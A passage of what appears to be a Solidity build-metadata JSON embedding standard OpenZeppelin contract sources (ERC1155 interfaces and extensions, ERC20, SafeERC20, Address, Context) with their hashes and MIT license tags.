standard\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\\n * returned by {IERC1155MetadataURI-uri}.\\n */\\n event URI(string value, uint256 indexed id);\\n\\n /**\\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n */\\n function balanceOf(address account, uint256 id) external view returns (uint256);\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\\n *\\n * Requirements:\\n *\\n * - `accounts` and `ids` must have the same length.\\n */\\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);\\n\\n /**\\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\\n *\\n * Emits an {ApprovalForAll} event.\\n *\\n * Requirements:\\n *\\n * - `operator` cannot be the caller.\\n */\\n function setApprovalForAll(address operator, bool approved) external;\\n\\n /**\\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\\n *\\n * See {setApprovalForAll}.\\n */\\n function isApprovedForAll(address account, address operator) external view returns (bool);\\n\\n /**\\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\\n *\\n * Emits a {TransferSingle} event.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\\n * acceptance magic value.\\n */\\n function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\\n *\\n * Emits a {TransferBatch} event.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\\n * acceptance magic value.\\n */\\n function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;\\n}\\n\",\"keccak256\":\"0x249bc2a6d919da5f5145950664134cfcf2f66874bda801fd3b8fb861783da079\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../../utils/introspection/IERC165.sol\\\";\\n\\n/**\\n * @dev _Available since v3.1._\\n */\\ninterface IERC1155Receiver is IERC165 {\\n\\n /**\\n @dev Handles the receipt of a single ERC1155 token type. This function is\\n called at the end of a `safeTransferFrom` after the balance has been updated.\\n To accept the transfer, this must return\\n `bytes4(keccak256(\\\"onERC1155Received(address,address,uint256,uint256,bytes)\\\"))`\\n (i.e. 0xf23a6e61, or its own function selector).\\n @param operator The address which initiated the transfer (i.e. msg.sender)\\n @param from The address which previously owned the token\\n @param id The ID of the token being transferred\\n @param value The amount of tokens being transferred\\n @param data Additional data with no specified format\\n @return `bytes4(keccak256(\\\"onERC1155Received(address,address,uint256,uint256,bytes)\\\"))` if transfer is allowed\\n */\\n function onERC1155Received(\\n address operator,\\n address from,\\n uint256 id,\\n uint256 value,\\n bytes calldata data\\n )\\n external\\n returns(bytes4);\\n\\n /**\\n @dev Handles the receipt of a multiple ERC1155 token types. This function\\n is called at the end of a `safeBatchTransferFrom` after the balances have\\n been updated. To accept the transfer(s), this must return\\n `bytes4(keccak256(\\\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\\\"))`\\n (i.e. 0xbc197c81, or its own function selector).\\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\\n @param from The address which previously owned the token\\n @param ids An array containing ids of each token being transferred (order and length must match values array)\\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\\n @param data Additional data with no specified format\\n @return `bytes4(keccak256(\\\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\\\"))` if transfer is allowed\\n */\\n function onERC1155BatchReceived(\\n address operator,\\n address from,\\n uint256[] calldata ids,\\n uint256[] calldata values,\\n bytes calldata data\\n )\\n external\\n returns(bytes4);\\n}\\n\",\"keccak256\":\"0x7c0ea2d284bad1aa002165ba4c5eac30070be8e56b19dba1ac7c8f2c8bd4832c\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC1155.sol\\\";\\n\\n/**\\n * @dev Extension of {ERC1155} that allows token holders to destroy both their\\n * own tokens and those that they have been approved to use.\\n *\\n * _Available since v3.1._\\n */\\nabstract contract ERC1155Burnable is ERC1155 {\\n function burn(address account, uint256 id, uint256 value) public virtual {\\n require(\\n account == _msgSender() || isApprovedForAll(account, _msgSender()),\\n \\\"ERC1155: caller is not owner nor approved\\\"\\n );\\n\\n _burn(account, id, value);\\n }\\n\\n function burnBatch(address account, uint256[] memory ids, uint256[] memory values) public virtual {\\n require(\\n account == _msgSender() || isApprovedForAll(account, _msgSender()),\\n \\\"ERC1155: caller is not owner nor approved\\\"\\n );\\n\\n _burnBatch(account, ids, values);\\n }\\n}\\n\",\"keccak256\":\"0xf37ec99085370fa75da56456d21f8410423e64e6bc4ef31fed4884f70e5e40cb\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Pausable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC1155.sol\\\";\\nimport \\\"../../../security/Pausable.sol\\\";\\n\\n/**\\n * @dev ERC1155 token with pausable token transfers, minting and burning.\\n *\\n * Useful for scenarios such as preventing trades until the end of an evaluation\\n * period, or having an emergency switch for freezing all token transfers in the\\n * event of a large bug.\\n *\\n * _Available since v3.1._\\n */\\nabstract contract ERC1155Pausable is ERC1155, Pausable {\\n /**\\n * @dev See {ERC1155-_beforeTokenTransfer}.\\n *\\n * Requirements:\\n *\\n * - the contract must not be paused.\\n */\\n function _beforeTokenTransfer(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n )\\n internal\\n virtual\\n override\\n {\\n super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\\n\\n require(!paused(), \\\"ERC1155Pausable: token transfer while paused\\\");\\n }\\n}\\n\",\"keccak256\":\"0x7105aa608d3c5e5ae2b4e04c909e51854730fd4a41325454301b4ee97392fd81\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC1155.sol\\\";\\n\\n/**\\n * @dev Interface of the optional ERC1155MetadataExtension interface, as defined\\n * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].\\n *\\n * _Available since v3.1._\\n */\\ninterface IERC1155MetadataURI is IERC1155 {\\n /**\\n * @dev Returns the URI for token type `id`.\\n *\\n * If the `\\\\{id\\\\}` substring is present in the URI, it must be replaced by\\n * clients with the actual token type ID.\\n */\\n function uri(uint256 id) external view returns (string memory);\\n}\\n\",\"keccak256\":\"0x6ba0564f6970414d1166ee83127b834bbe7dbf699241a3005eb7ae64a2211975\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/ERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC20.sol\\\";\\nimport \\\"./extensions/IERC20Metadata.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC20} interface.\\n *\\n * This implementation is agnostic to the way tokens are created. This means\\n * that a supply mechanism has to be added in a derived contract using {_mint}.\\n * For a generic mechanism see {ERC20PresetMinterPauser}.\\n *\\n * TIP: For a detailed writeup see our guide\\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\\n * to implement supply mechanisms].\\n *\\n * We have followed general OpenZeppelin guidelines: functions revert instead\\n * of returning `false` on failure. This behavior is nonetheless conventional\\n * and does not conflict with the expectations of ERC20 applications.\\n *\\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\\n * This allows applications to reconstruct the allowance for all accounts just\\n * by listening to said events. Other implementations of the EIP may not emit\\n * these events, as it isn't required by the specification.\\n *\\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\\n * functions have been added to mitigate the well-known issues around setting\\n * allowances. See {IERC20-approve}.\\n */\\ncontract ERC20 is Context, IERC20, IERC20Metadata {\\n mapping (address => uint256) private _balances;\\n\\n mapping (address => mapping (address => uint256)) private _allowances;\\n\\n uint256 private _totalSupply;\\n\\n string private _name;\\n string private _symbol;\\n\\n /**\\n * @dev Sets the values for {name} and {symbol}.\\n *\\n * The defaut value of {decimals} is 18. To select a different value for\\n * {decimals} you should overload it.\\n *\\n * All two of these values are immutable: they can only be set once during\\n * construction.\\n */\\n constructor (string memory name_, string memory symbol_) {\\n _name = name_;\\n _symbol = symbol_;\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view virtual override returns (string memory) {\\n return _name;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view virtual override returns (string memory) {\\n return _symbol;\\n }\\n\\n /**\\n * @dev Returns the number of decimals used to get its user representation.\\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\\n * be displayed to a user as `5,05` (`505 / 10 ** 2`).\\n *\\n * Tokens usually opt for a value of 18, imitating the relationship between\\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\\n * overridden;\\n *\\n * NOTE: This information is only used for _display_ purposes: it in\\n * no way affects any of the arithmetic of the contract, including\\n * {IERC20-balanceOf} and {IERC20-transfer}.\\n */\\n function decimals() public view virtual override returns (uint8) {\\n return 18;\\n }\\n\\n /**\\n * @dev See {IERC20-totalSupply}.\\n */\\n function totalSupply() public view virtual override returns (uint256) {\\n return _totalSupply;\\n }\\n\\n /**\\n * @dev See {IERC20-balanceOf}.\\n */\\n function balanceOf(address account) public view virtual override returns (uint256) {\\n return _balances[account];\\n }\\n\\n /**\\n * @dev See {IERC20-transfer}.\\n *\\n * Requirements:\\n *\\n * - `recipient` cannot be the zero address.\\n * - the caller must have a balance of at least `amount`.\\n */\\n function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(_msgSender(), recipient, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-allowance}.\\n */\\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\\n return _allowances[owner][spender];\\n }\\n\\n /**\\n * @dev See {IERC20-approve}.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\\n _approve(_msgSender(), spender, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-transferFrom}.\\n *\\n * Emits an {Approval} event indicating the updated allowance. This is not\\n * required by the EIP. See the note at the beginning of {ERC20}.\\n *\\n * Requirements:\\n *\\n * - `sender` and `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n * - the caller must have allowance for ``sender``'s tokens of at least\\n * `amount`.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(sender, recipient, amount);\\n\\n uint256 currentAllowance = _allowances[sender][_msgSender()];\\n require(currentAllowance >= amount, \\\"ERC20: transfer amount exceeds allowance\\\");\\n _approve(sender, _msgSender(), currentAllowance - amount);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Atomically increases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\\n return true;\\n }\\n\\n /**\\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n * - `spender` must have allowance for the caller of at least\\n * `subtractedValue`.\\n */\\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\\n uint256 currentAllowance = _allowances[_msgSender()][spender];\\n require(currentAllowance >= subtractedValue, \\\"ERC20: decreased allowance below zero\\\");\\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Moves tokens `amount` from `sender` to `recipient`.\\n *\\n * This is internal function is equivalent to {transfer}, and can be used to\\n * e.g. implement automatic token fees, slashing mechanisms, etc.\\n *\\n * Emits a {Transfer} event.\\n *\\n * Requirements:\\n *\\n * - `sender` cannot be the zero address.\\n * - `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n */\\n function _transfer(address sender, address recipient, uint256 amount) internal virtual {\\n require(sender != address(0), \\\"ERC20: transfer from the zero address\\\");\\n require(recipient != address(0), \\\"ERC20: transfer to the zero address\\\");\\n\\n _beforeTokenTransfer(sender, recipient, amount);\\n\\n uint256 senderBalance = _balances[sender];\\n require(senderBalance >= amount, \\\"ERC20: transfer amount exceeds balance\\\");\\n _balances[sender] = senderBalance - amount;\\n _balances[recipient] += amount;\\n\\n emit Transfer(sender, recipient, amount);\\n }\\n\\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\\n * the total supply.\\n *\\n * Emits a {Transfer} event with `from` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n */\\n function _mint(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: mint to the zero address\\\");\\n\\n _beforeTokenTransfer(address(0), account, amount);\\n\\n _totalSupply += amount;\\n _balances[account] += amount;\\n emit Transfer(address(0), account, amount);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens from `account`, reducing the\\n * total supply.\\n *\\n * Emits a {Transfer} event with `to` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens.\\n */\\n function _burn(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: burn from the zero address\\\");\\n\\n _beforeTokenTransfer(account, address(0), amount);\\n\\n uint256 accountBalance = _balances[account];\\n require(accountBalance >= amount, \\\"ERC20: burn amount exceeds balance\\\");\\n _balances[account] = accountBalance - amount;\\n _totalSupply -= amount;\\n\\n emit Transfer(account, address(0), amount);\\n }\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\\n *\\n * This internal function is equivalent to `approve`, and can be used to\\n * e.g. set automatic allowances for certain subsystems, etc.\\n *\\n * Emits an {Approval} event.\\n *\\n * Requirements:\\n *\\n * - `owner` cannot be the zero address.\\n * - `spender` cannot be the zero address.\\n */\\n function _approve(address owner, address spender, uint256 amount) internal virtual {\\n require(owner != address(0), \\\"ERC20: approve from the zero address\\\");\\n require(spender != address(0), \\\"ERC20: approve to the zero address\\\");\\n\\n _allowances[owner][spender] = amount;\\n emit Approval(owner, spender, amount);\\n }\\n\\n /**\\n * @dev Hook that is called before any transfer of tokens. This includes\\n * minting and burning.\\n *\\n * Calling conditions:\\n *\\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * will be to transferred to `to`.\\n * - when `from` is zero, `amount` tokens will be minted for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\\n * - `from` and `to` are never both zero.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }\\n}\\n\",\"keccak256\":\"0xfeccdcbf67b2006a715e5af1a4c7556004d95b2806552b5cc54e46e8eb7e887b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/IERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC20 standard as defined in the EIP.\\n */\\ninterface IERC20 {\\n /**\\n * @dev Returns the amount of tokens in existence.\\n */\\n function totalSupply() external view returns (uint256);\\n\\n /**\\n * @dev Returns the amount of tokens owned by `account`.\\n */\\n function balanceOf(address account) external view returns (uint256);\\n\\n /**\\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transfer(address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Returns the remaining number of tokens that `spender` will be\\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\\n * zero by default.\\n *\\n * This value changes when {approve} or {transferFrom} are called.\\n */\\n function allowance(address owner, address spender) external view returns (uint256);\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\\n * that someone may use both the old and the new allowance by unfortunate\\n * transaction ordering. One possible solution to mitigate this race\\n * condition is to first reduce the spender's allowance to 0 and set the\\n * desired value afterwards:\\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\\n *\\n * Emits an {Approval} event.\\n */\\n function approve(address spender, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\\n * allowance mechanism. `amount` is then deducted from the caller's\\n * allowance.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\\n * another (`to`).\\n *\\n * Note that `value` may be zero.\\n */\\n event Transfer(address indexed from, address indexed to, uint256 value);\\n\\n /**\\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\\n * a call to {approve}. `value` is the new allowance.\\n */\\n event Approval(address indexed owner, address indexed spender, uint256 value);\\n}\\n\",\"keccak256\":\"0xf8e8d118a7a8b2e134181f7da655f6266aa3a0f9134b2605747139fcb0c5d835\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\n\\n/**\\n * @dev Interface for the optional metadata functions from the ERC20 standard.\\n *\\n * _Available since v4.1._\\n */\\ninterface IERC20Metadata is IERC20 {\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() external view returns (string memory);\\n\\n /**\\n * @dev Returns the symbol of the token.\\n */\\n function symbol() external view returns (string memory);\\n\\n /**\\n * @dev Returns the decimals places of the token.\\n */\\n function decimals() external view returns (uint8);\\n}\\n\",\"keccak256\":\"0x83fe24f5c04a56091e50f4a345ff504c8bff658a76d4c43b16878c8f940c53b2\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\nimport \\\"../../../utils/Address.sol\\\";\\n\\n/**\\n * @title SafeERC20\\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\\n * contract returns false). Tokens that return no value (and instead revert or\\n * throw on failure) are also supported, non-reverting calls are assumed to be\\n * successful.\\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\\n */\\nlibrary SafeERC20 {\\n using Address for address;\\n\\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\\n }\\n\\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\\n }\\n\\n /**\\n * @dev Deprecated. This function has issues similar to the ones found in\\n * {IERC20-approve}, and its usage is discouraged.\\n *\\n * Whenever possible, use {safeIncreaseAllowance} and\\n * {safeDecreaseAllowance} instead.\\n */\\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\\n // safeApprove should only be called when setting an initial allowance,\\n // or when resetting it to zero. To increase and decrease it, use\\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\\n // solhint-disable-next-line max-line-length\\n require((value == 0) || (token.allowance(address(this), spender) == 0),\\n \\\"SafeERC20: approve from non-zero to non-zero allowance\\\"\\n );\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\\n }\\n\\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n uint256 newAllowance = token.allowance(address(this), spender) + value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n\\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n unchecked {\\n uint256 oldAllowance = token.allowance(address(this), spender);\\n require(oldAllowance >= value, \\\"SafeERC20: decreased allowance below zero\\\");\\n uint256 newAllowance = oldAllowance - value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n }\\n\\n /**\\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\\n * on the return value: the return value is optional (but if data is returned, it must not be false).\\n * @param token The token targeted by the call.\\n * @param data The call data (encoded using abi.encode or one of its variants).\\n */\\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\\n // the target address contains contract code and also asserts for success in the low-level call.\\n\\n bytes memory returndata = address(token).functionCall(data, \\\"SafeERC20: low-level call failed\\\");\\n if (returndata.length > 0) { // Return data is optional\\n // solhint-disable-next-line max-line-length\\n require(abi.decode(returndata, (bool)), \\\"SafeERC20: ERC20 operation did not succeed\\\");\\n }\\n }\\n}\\n\",\"keccak256\":\"0x99f5c21018d796db7833a2100bb0e7411999e248a3c950fb526eee5d2bf47cb7\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Address.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Collection of functions related to the address type\\n */\\nlibrary Address {\\n /**\\n * @dev Returns true if `account` is a contract.\\n *\\n * [IMPORTANT]\\n * ====\\n * It is unsafe to assume that an address for which this function returns\\n * false is an externally-owned account (EOA) and not a contract.\\n *\\n * Among others, `isContract` will return false for the following\\n * types of addresses:\\n *\\n * - an externally-owned account\\n * - a contract in construction\\n * - an address where a contract will be created\\n * - an address where a contract lived, but was destroyed\\n * ====\\n */\\n function isContract(address account) internal view returns (bool) {\\n // This method relies on extcodesize, which returns 0 for contracts in\\n // construction, since the code is only stored at the end of the\\n // constructor execution.\\n\\n uint256 size;\\n // solhint-disable-next-line no-inline-assembly\\n assembly { size := extcodesize(account) }\\n return size > 0;\\n }\\n\\n /**\\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\\n * `recipient`, forwarding all available gas and reverting on errors.\\n *\\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\\n * imposed by `transfer`, making them unable to receive funds via\\n * `transfer`. {sendValue} removes this limitation.\\n *\\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\\n *\\n * IMPORTANT: because control is transferred to `recipient`, care must be\\n * taken to not create reentrancy vulnerabilities. Consider using\\n * {ReentrancyGuard} or the\\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\\n */\\n function sendValue(address payable recipient, uint256 amount) internal {\\n require(address(this).balance >= amount, \\\"Address: insufficient balance\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\\n (bool success, ) = recipient.call{ value: amount }(\\\"\\\");\\n require(success, \\\"Address: unable to send value, recipient may have reverted\\\");\\n }\\n\\n /**\\n * @dev Performs a Solidity function call using a low level `call`. A\\n * plain`call` is an unsafe replacement for a function call: use this\\n * function instead.\\n *\\n * If `target` reverts with a revert reason, it is bubbled up by this\\n * function (like regular Solidity function calls).\\n *\\n * Returns the raw returned data. To convert to the expected return value,\\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\\n *\\n * Requirements:\\n *\\n * - `target` must be a contract.\\n * - calling `target` with `data` must not revert.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionCall(target, data, \\\"Address: low-level call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\\n * `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, 0, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but also transferring `value` wei to `target`.\\n *\\n * Requirements:\\n *\\n * - the calling contract must have an ETH balance of at least `value`.\\n * - the called Solidity function must be `payable`.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, value, \\\"Address: low-level call with value failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\\n * with `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {\\n require(address(this).balance >= value, \\\"Address: insufficient balance for call\\\");\\n require(isContract(target), \\\"Address: call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.call{ value: value }(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\\n return functionStaticCall(target, data, \\\"Address: low-level static call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {\\n require(isContract(target), \\\"Address: static call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.staticcall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionDelegateCall(target, data, \\\"Address: low-level delegate call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n require(isContract(target), \\\"Address: delegate call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.delegatecall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {\\n if (success) {\\n return returndata;\\n } else {\\n // Look for revert reason and bubble it up if present\\n if (returndata.length > 0) {\\n // The easiest way to bubble the revert reason is using memory via assembly\\n\\n // solhint-disable-next-line no-inline-assembly\\n assembly {\\n let returndata_size := mload(returndata)\\n revert(add(32, returndata), returndata_size)\\n }\\n } else {\\n revert(errorMessage);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x069b2631bb5b5193a58ccf7a06266c7361bd2c20095667af4402817605627f45\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Context.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/*\\n * @dev Provides information about the current execution context, including the\\n * sender of the transaction and its data. While these are generally available\\n * via msg.sender and msg.data, they should not be accessed in such a direct\\n * manner, since when dealing with meta-transactions the account sending and\\n * paying for execution may not be the actual sender (as far as an application\\n * is concerned).\\n *\\n * This contract is only required for intermediate, library-like contracts.\\n */\\nabstract contract Context {\\n function _msgSender() internal view virtual returns (address) {\\n return msg.sender;\\n }\\n\\n function _msgData() internal view virtual returns (bytes calldata) {\\n this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691\\n return msg.data;\\n 